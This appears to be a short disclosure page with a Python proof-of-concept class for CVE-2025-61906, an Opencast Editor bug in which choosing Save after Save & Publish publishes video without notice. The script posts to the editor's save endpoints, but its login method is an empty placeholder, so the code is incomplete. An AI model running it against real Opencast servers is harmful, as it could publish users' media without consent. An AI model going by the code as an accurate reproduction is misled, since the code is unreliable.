CVE-2025-61906 Opencast编辑器意外发布视频漏洞

# CVE-2025-61906 - Opencast Editor Accidental Publish PoC # This PoC demonstrates the accidental publish vulnerability in Opencast Editor # Affected versions: Opencast < 17.8 and Opencast < 18.2 import requests from urllib.parse import urljoin class OpencastEditorExploit: """ PoC for CVE-2025-61906: Opencast Editor may publish video without user notification The vulnerability is triggered when: 1. User has write access to an event 2. User clicks 'Save & Publish' button 3. User then selects 'Save' option 4. The system publishes the media without proper notification """ def __init__(self, base_url, username, password): self.base_url = base_url self.session = requests.Session() self.username = username self.password = password def authenticate(self): """Authenticate to Opencast with user credentials (requires write access)""" login_url = urljoin(self.base_url, '/admin-ng/login') # Login logic here pass def trigger_accidental_publish(self, event_id): """ Trigger the accidental publish vulnerability: Step 1: Open the editor for the event Step 2: Click 'Save & Publish' button Step 3: Then click 'Save' option Result: Media is published without explicit user notification """ editor_url = urljoin(self.base_url, f'/editor/{event_id}') # Step 1: Access editor self.session.get(editor_url) # Step 2: Click 'Save & Publish' (triggers publish state) save_publish_endpoint = urljoin(self.base_url, f'/editor/{event_id}/saveAndPublish') self.session.post(save_publish_endpoint) # Step 3: Click 'Save' (vulnerability: still triggers publish) save_endpoint = urljoin(self.base_url, f'/editor/{event_id}/save') response = self.session.post(save_endpoint) # The media is now published without proper user notification return response # Usage example: # exploit = OpencastEditorExploit('https://opencast.example.com', 'user', 'pass') # exploit.authenticate() # result = exploit.trigger_accidental_publish('event-id-123') # print(f"Status: {result.status_code}") # Note: This vulnerability requires valid credentials with write access to the event